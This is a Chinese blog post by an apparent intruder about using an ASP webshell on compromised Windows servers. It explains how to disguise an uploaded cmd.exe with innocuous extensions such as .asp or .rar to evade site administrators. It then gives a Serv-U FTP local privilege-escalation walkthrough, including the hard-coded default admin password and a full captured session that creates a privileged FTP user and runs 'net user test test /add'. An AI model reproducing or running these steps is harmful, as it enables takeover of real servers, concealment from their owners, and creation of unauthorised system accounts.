? 以前一直看不懂asp木马中的cmd命令执行。当时如果默认的系统是有可执行属性的话,肯定是不必修改,直接在命令行中写入命令即可,但是如果对方系统的cmd是没有权限的,这时需要我们上传一个cmd.exe上去,放置在可执行的目录下,再在asp木马中制定cmd.exe来执行,这时我就有点困惑了,因为它上面有可几个地方,一个说是路径,一个说是参数,一个说是命令(asp站长助手中只有路径和命令),那么我要执行某个外部命令,如net.exe时,应该是在输入对应的是什么命令呢?

  ? 昨天试了下,原来,所谓“路径”填写的其实是包含了cmd.exe在内的完整名字,例如上传的cmd文件在d:/test.exe,则可以在路径中输入d:/test.exe(而不是d:/),执行命令中填入d:/net.exe(要执行的程序)。之后思考,这个cmd可能类似编程中用createthread执行出来的,那也就是后缀名不为exe也是可以的了,于是尝试改test.exe为test.asp,在路径中填入d:/test.asp,命令照输。呵呵,同样可以被执行,这就增加了上传后的cmd.exe的迷惑性,我们可以随便换一个后缀名,例如pack.rar,一样可以被执行,而站长看不仔细的话就没有办法发现。

  ? 另外,找到一个aspx类型的ServU本地提权程序,查看了源码,原理其实不复杂,应该就是类似在本地用用户LocalAdministrator登录,密码默认是#l@$ak#.lk;0@P,登录默认的43958端口,然后使用SITE MAINTENANCE 命令新增一个ftp域,往里面新增一个用户,该用户拥有可执行程序的权限,之后断开,再用户新增的用户登录该域(对应的是不同的端口),使用site exec命令执行系统命令。呵呵,我一直以为是本地溢出来的,想不到利用的不是本地溢出,而是本地ftp的管理新增用户,是这样的话其实是不一定要新增域的,直接添加新用户就可以了。

  ? 使用该程序有个问题,就是对方防火墙如果只允许预定义的端口访问,那么新增的域由于端口不在允许范围内,所以增加新域后就不能登录该域了。

  ? 截取到的信息如下,应该可以手工提交:

  out:220 Serv-U FTP Server v6.0 for WinSock ready...

  in: User LocalAdministrator

  out:331 User name okay, need password.

  in: Pass #l@$ak#.lk;0@P

  out:230 User logged in, proceed.

  in: SITE MAINTENANCE

  out:230-Switching to SYSTEM MAINTENANCE mode. 230 Version=1 900-Type=Status 900 Server=Online 900-Type=License 900-DaysLeft=0 900-Status=KeyValid 900-CurAccounts=14 900-MaxAccounts=-1 900-CurDomains=1 900-MaxDomains=-1 900-MaxNrUsers=-1 900-VirPath=1 900-DiskQuota=1 900-Ratios=1 900-RemoteAdmin=1 900-SSL=1 900-ODBC=1 900-NTSam=1 900-Version=6.0.0.2 900-Version=6.0.0.2 900-RegistrationKey=900-User=900-EMail=900-Reseller=900-Time=0 900-Type=2 900-Size=0 900-Days=0 900-MajorVersion=5 900 MinorVersion=0

  in: -deleteDOMAIN -IP=0.0.0.0 PortNo=43859

  out:505 Domain not found

  in: -SETDOMAIN -Domain=cctv|0.0.0.0|43859|-1|1|0 -TZOEnable=0 TZOKey=

  out:200-DomainID=2

  in: -SETUSERSETUP -IP=0.0.0.0 -PortNo=43859 -User=lake -Password=admin123 -HomeDir=c:// -LoginMesFile=-Disable=0 -RelPaths=1 -NeedSecure=0 -HideHidden=0 -AlwaysAllowLogin=0 -ChangePassword=0 -QuotaEnable=0 -MaxUsersLoginPerIP=-1 -SpeedLimitUp=0 -SpeedLimitDown=0 -MaxNrUsers=-1 -IdleTimeOut=600 -SessionTimeOut=-1 -Expire=0 -RatioUp=1 -RatioDown=1 -RatiosCredit=0 -QuotaCurrent=0 -QuotaMaximum=0 -Maintenance=System -PasswordType=Regular -Ratios=None Access=c://|RWAMELCDP

  out:220 Domain settings saved

  out:220 Serv-U FTP Server v6.0 for WinSock ready...

  in: User lake

  out:331 User name okay, need password.

  in: pass admin123

  out:230 User logged in, proceed.

  in: site exec net user test test /add

  out:200 EXEC command successful (TID=33).

  in: -deleteDOMAIN -IP=0.0.0.0 PortNo=43859

  out:200-User=lake 200 User settings saved

  in: QUIT

  out:220 Domain deleted

  尝试手工提交

  telnet localhost? 43958

  User LocalAdministrator

  Pass #l@$ak#.lk;0@P

  SITE MAINTENANCE

  上面的命令都成功,但是到后面设置域名和用户时出现了问题,不知道什么原因。

 
目前共有0条评论
  • 暂无Trackback
你目前的身份是游客,评论请输入昵称和电邮!